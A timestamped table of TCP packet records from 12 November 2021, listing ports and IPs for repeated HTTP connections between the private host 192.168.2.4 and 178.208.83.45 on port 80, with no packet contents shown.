Nov 12, 2021 22:24:04.318305016 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318317890 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318327904 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318336010 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318346977 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318353891 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318368912 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.340711117 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.340745926 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.340787888 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.340833902 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.340884924 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.340958118 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.340991020 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.343017101 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.343097925 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.393258095 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.393529892 CET	50036	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.395131111 CET	50038	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.415743113 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.415776014 CET	80	50036	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.415942907 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.416024923 CET	50036	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.417404890 CET	80	50038	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.417574883 CET	50038	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.418118000 CET	50038	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.440548897 CET	80	50038	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.445785999 CET	80	50038	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.445950031 CET	50038	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.549514055 CET	50038	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.550632000 CET	50039	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.572104931 CET	80	50038	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.572197914 CET	50038	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.572886944 CET	80	50039	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.572988987 CET	50039	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.573520899 CET	50039	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.596837044 CET	80	50039	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.601016998 CET	80	50039	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.601152897 CET	50039	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.708648920 CET	50039	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.728702068 CET	50041	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.731267929 CET	80	50039	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.731385946 CET	50039	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.751704931 CET	80	50041	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.751877069 CET	50041	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.754512072 CET	50041	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.777764082 CET	80	50041	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.781559944 CET	80	50041	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.781620979 CET	50041	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.895884991 CET	50041	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.897418022 CET	50043	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.918792009 CET	80	50041	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.918939114 CET	50041	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.919790030 CET	80	50043	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.919995070 CET	50043	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.992624044 CET	50043	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.016067028 CET	80	50043	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.024060965 CET	80	50043	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.024220943 CET	50043	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.288393974 CET	50043	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.289541960 CET	50044	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.311094999 CET	80	50043	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.311206102 CET	50043	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.312052965 CET	80	50044	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.312181950 CET	50044	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.313631058 CET	50044	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.336102962 CET	80	50044	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.336143017 CET	80	50044	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.336158037 CET	80	50044	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.336205959 CET	50044	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.336229086 CET	50044	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.440670967 CET	50044	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.442008018 CET	50045	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.463119030 CET	80	50044	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.463237047 CET	50044	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.464503050 CET	80	50045	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.464660883 CET	50045	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.466169119 CET	50045	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.488742113 CET	80	50045	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.488791943 CET	80	50045	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.488873005 CET	80	50045	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.488905907 CET	50045	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.488935947 CET	50045	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.603704929 CET	50045	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.605171919 CET	50046	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.626333952 CET	80	50045	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.626477957 CET	50045	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.627589941 CET	80	50046	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.627710104 CET	50046	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.636332989 CET	50046	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.658776045 CET	80	50046	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.658807039 CET	80	50046	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.658819914 CET	80	50046	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.658926964 CET	50046	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.658957005 CET	50046	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.769805908 CET	50046	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.771487951 CET	50048	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.793147087 CET	80	50046	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.793303013 CET	50046	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.793793917 CET	80	50048	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.793919086 CET	50048	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.809629917 CET	50048	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.820244074 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.833312035 CET	80	50048	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.833409071 CET	80	50048	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.833414078 CET	80	50048	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.833515882 CET	50048	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.843233109 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.843364954 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.844512939 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.844644070 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.844856977 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.844961882 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.867001057 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.867038012 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.867204905 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.867223978 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.867239952 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.867264032 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.867280006 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.867311954 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.867321968 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.867327929 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.867331982 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.867364883 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.867376089 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.867423058 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.867424965 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.867435932 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.867440939 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.867482901 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.867538929 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.890136957 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.890165091 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.890172958 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.890185118 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.890197039 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.890208960 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.890222073 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.890232086 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.890259981 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.890336990 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.890439987 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.890459061 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.890474081 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.890482903 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.890486956 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.890499115 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.890502930 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.890506029 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.890516043 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.890517950 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.890526056 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.890537024 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.890543938 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.890552998 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.890611887 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.890669107 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.912960052 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.912986040 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913007021 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913019896 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913034916 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913047075 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913058996 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913073063 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913084030 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913094997 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913108110 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913120031 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913131952 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913144112 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913155079 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913167000 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913177967 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913177013 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.913189888 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913203955 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913212061 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913223982 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:05.913266897 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913280010 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913290977 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913302898 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913315058 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913326025 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913338900 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913352013 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913362980 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913373947 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913387060 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913398027 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913409948 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913422108 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913434982 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913466930 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913932085 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.913969994 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.935585022 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.935692072 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.935708046 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.935719967 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.935731888 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.935760975 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.935772896 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.935784101 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.935796022 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.935807943 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.935882092 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.935894966 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.935906887 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.939395905 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:05.939578056 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:06.070839882 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:06.098948002 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:06.099071980 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:06.711543083 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:06.711951017 CET	50048	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:06.713663101 CET	50051	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:06.734236956 CET	80	50049	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:06.734266043 CET	80	50048	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:06.734352112 CET	50049	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:06.734376907 CET	50048	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:06.736202955 CET	80	50051	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:06.736583948 CET	50051	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:06.738065958 CET	50051	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:06.760500908 CET	80	50051	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:06.760540009 CET	80	50051	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:06.760556936 CET	80	50051	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:06.760642052 CET	50051	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:06.887808084 CET	50051	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:06.889419079 CET	50052	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:06.910715103 CET	80	50051	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:06.910960913 CET	50051	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:06.912199020 CET	80	50052	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:06.912878990 CET	50052	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:06.915276051 CET	50052	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:06.937798023 CET	80	50052	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:06.937825918 CET	80	50052	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:06.937835932 CET	80	50052	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:06.937946081 CET	50052	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:07.052577972 CET	50052	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:07.053764105 CET	50054	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:07.074925900 CET	80	50052	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:07.075187922 CET	50052	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:07.076406956 CET	80	50054	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:07.076617956 CET	50054	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:07.077225924 CET	50054	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:07.100430965 CET	80	50054	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:07.102319956 CET	80	50054	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:07.102334023 CET	80	50054	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:07.102406979 CET	50054	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:07.213721037 CET	50054	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:07.214904070 CET	50055	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:07.236994028 CET	80	50054	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:07.237118959 CET	50054	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:07.237802029 CET	80	50055	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:07.237929106 CET	50055	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:07.366317034 CET	50055	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:07.388843060 CET	80	50055	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:07.388889074 CET	80	50055	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:07.388905048 CET	80	50055	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:07.389075994 CET	50055	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:08.645698071 CET	50055	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:08.647447109 CET	50056	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:08.668190002 CET	80	50055	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:08.668406963 CET	50055	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:08.669759989 CET	80	50056	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:08.669953108 CET	50056	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:08.699569941 CET	50056	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:08.721992016 CET	80	50056	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:08.725644112 CET	80	50056	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:08.841877937 CET	50056	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.024667978 CET	50056	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.026310921 CET	50057	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.047168970 CET	80	50056	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.047296047 CET	50056	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.048604012 CET	80	50057	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.048897028 CET	50057	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.057308912 CET	50057	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.079770088 CET	80	50057	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.079835892 CET	80	50057	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.079843998 CET	80	50057	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.079992056 CET	50057	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.195252895 CET	50057	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.197053909 CET	50059	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.217705011 CET	80	50057	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.217839003 CET	50057	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.219357967 CET	80	50059	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.219468117 CET	50059	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.220449924 CET	50059	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.242676973 CET	80	50059	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.246651888 CET	80	50059	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.246835947 CET	50059	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.351783991 CET	50059	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.353614092 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.363888979 CET	50061	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.374109983 CET	80	50059	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.374202967 CET	50059	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.376180887 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.376296043 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.377106905 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.377274990 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.377520084 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.377737999 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.386230946 CET	80	50061	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.386406898 CET	50061	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.388570070 CET	50061	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.399645090 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.399730921 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.400258064 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.400273085 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.400326014 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.400342941 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.400348902 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.400357008 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.400372982 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.400388002 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.400393963 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.400403023 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.400419950 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.400427103 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.400460958 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.400469065 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.400511026 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.400532961 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.411530018 CET	80	50061	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.415051937 CET	80	50061	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.415164948 CET	50061	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.422897100 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.422916889 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.422929049 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.422949076 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.422957897 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.422982931 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.423065901 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.423080921 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.423110962 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.423145056 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.423202038 CET	80	50060	178.208.83.45	192.168.2.4
